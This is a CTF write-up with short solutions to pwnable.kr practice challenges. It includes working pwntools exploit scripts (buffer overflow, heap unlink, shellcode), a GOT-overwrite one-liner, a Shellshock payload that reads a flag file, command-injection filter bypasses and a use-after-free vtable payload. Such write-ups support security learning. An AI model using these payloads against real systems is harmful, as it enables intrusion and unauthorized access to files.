Easiest questions in pwnable.kr

Okay…Let’s start

fd

When the file fd equals to 0, the read() will get string from standard input. So just type 4660 which equals to 0x1234

collision

It converts char* to int*, whichi means that if we type ./col ABCDEFGHIJKLMNOPQRST, it will becomes number like 0x44434241 0x47464544 0x51504948 0x54535251 0x58585655(little endian). Just find approprate number to crack it.

bof

Simple Overflow:

from pwn import *
c = remote("pwnable.kr", 9000)
c.sendline('\xbe\xba\xfe\xca'*15)
c.interactive()

passcode

Notice that the value passed to scanf is not a pointer and it’s without default value. We can first use stack(buf[100]) to write the default value and then overwrite GOT table.

(python -c 'print "0"*96+"\x04\xa0\x04\x08"+"134514135"') | ./passcode

random

The randoom() in glib is pseduo-random. So, the first value is always 0x6b8b4567. Just simply bruteforce the xor value.

input

Just use pipe, nano, and nc to give input

leg

PC always points to the next No.2 instructin, while lr points to the return address. By adding the offset, we can simply can get the result.

mistake

Let’s first have a look: fd=open("/home/mistake/password",O_RDONLY,0400) < 0. Becaue < is prior to =, fd will always be 0 while opening the file succesfully. fd=0 means that read(fd,pw_buf,PW_LEN) will always read stdin input. We just need to calculate xor(buf2,10) and give its result in stdin.

e.g.

do not bruteforce...
1111111111
input password : 0000000000
Password OK

shellshock

Google shellshock vulnerability. And get:

$ export foo='() { echo "aaa"; }; value=$(<flag);echo "$value"'
$ ./shellshock

coin1

Simple math, use binary search is enough

blackjackk

The code does not check negative value, just type -100000000 and you will get enough money.

lotto

for(i=0; i<6; i++){
  for(j=0; j<6; j++){
    if(lotto[i] == submit[j]){
      match++;
    }
  }
}

We can type duplicate word to increase the posbility to win, e.g:,,,,,,

cmd1

We have to bypass the restriction of flag, sh, tmp. And the PATH is set to /thankyouverymuch. Just use an absolute address to execute command and use \ escape to bypass strstr: ./cmd1 "/bin/cat < /home/cmd1/fla\g"

cmd2

Almost the same as above one: ./cmd2 "read line;exec \$line". Then type: /bin/cat flag

uaf

let’s set a break point at *main+286 which is instruction call rdx. We the breakpoint is triggered, let’s reveal the data on stack: x/4wx $rbp-0x38:

0x7ffca7f01ee8:	0x02131ea0	0x00000000	0x02131ef0	0x00000000

Why x/4wx $rbp-0x38, as the disassemble instruction shown:

   0x0000000000400fcd <+265>:	mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fd1 <+269>:	mov    rax,QWORD PTR [rax]
   0x0000000000400fd4 <+272>:	add    rax,0x8
   0x0000000000400fd8 <+276>:	mov    rdx,QWORD PTR [rax]
   0x0000000000400fdb <+279>:	mov    rax,QWORD PTR [rbp-0x38]
   0x0000000000400fdf <+283>:	mov    rdi,rax
   0x0000000000400fe2 <+286>:	call   rdx

The call rdx is actually call *(*(*($rbp-0x38))+8).

We get 0x02131ea0, which is the address pointed to Man instance created by new in line Human* m = new Man("Jack", 25);

Let’s have a closer look to the pointer: x/10wx 0x02131ea0, here is the result:

0x2131ea0:	0x00401570	0x00000000	0x00000019	0x00000000

0x19, which is exactly the same as 25. It verifies our assumption!

Therefore, 0x00401570 is the address of vtable.

Now, the call *(*(*($rbp-0x38))+8) = call *(*(0x02131ea0)+8) = call *(0x00401570+8) = call rdx. After examing vtable by x/20wx 0x00401570, we found that:

0x401570 <_ZTV3Man+16>:	0x0040117a	0x00000000	0x004012d2	0x00000000
0x401580 <_ZTV5Human>:	0x00000000	0x00000000	0x004015f0	0x00000000
0x401590 <_ZTV5Human+16>:	0x0040117a	0x00000000	0x00401192	0x00000000
0x4015a0 <_ZTS5Woman>:	0x6d6f5735	0x00006e61	0x00000000	0x00000000
0x4015b0 <_ZTI5Woman>:	0x00602390	0x00000000	0x004015a0	0x00000000

And the x 0x0040117a is exactly the address of: 0x40117a <_ZN5Human10give_shellEv>: 0xe5894855

If we call *(0x401570-8+8), we can execute shell on it!

How to? First, we need to create a file which includes our payload: python -c 'print ("\x68\x15\x40\x00\x00\x00\x00\x00")' > payload. Then, run the proram ./uaf 24 payload. Our fake instance needs to have size 24 to match the original instance’s size. Then, type 3 to delete the original Man and Woman instance. And type 2 for twice to create two fake instances, which adjusts the vtable the vtable offset to get shell. Although the m and w is deleted, the pointer still points to the same place of stack, which point to out fake instance. Finally, we type 3 to get shell.

asm

pwntools can handle it easily:

from pwn import *

con = ssh(host='pwnable.kr', user='asm', password='guest', port=2222)
p = con.connect_remote('localhost', 9026)

context(arch='amd64', os='linux')

shellcode = shellcraft.amd64.pushstr("this_is_pwnable.kr_flag_file_please_read_this_file.sorry_the_file_name_is_very_loooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooooo0000000000000000000000000ooooooooooooooooooooooo000000000000o0o0o0o0o0o0ong")
shellcode += shellcraft.amd64.linux.open('rsp',0,0)
shellcode += shellcraft.amd64.linux.read('rax','rsp',0)
shellcode += shellcraft.amd64.linux.write(1, 'rsp', 100)

p.recvuntil('shellcode: ')
p.send(asm(shellcode))
log.success(p.recvall())

Old style hacking. We can use unlink to overwrite the return address of main:

from pwn import *
s = ssh(host='pwnable.kr', port=2222, user='unlink', password='guest')
a = s.process(["./unlink"])
r = a.recvuntil('get shell!\n')
stack_addr = int(r.split('leak: 0x')[1][:8], 16)
heap_addr = int(r.split('leak: 0x')[2][:8], 16)
shell_addr = 0x80484eb
a.send("A"*16 + p32(heap_addr + 0x24) + p32(stack_addr + 0x10) + p32(shell_addr))
a.interactive()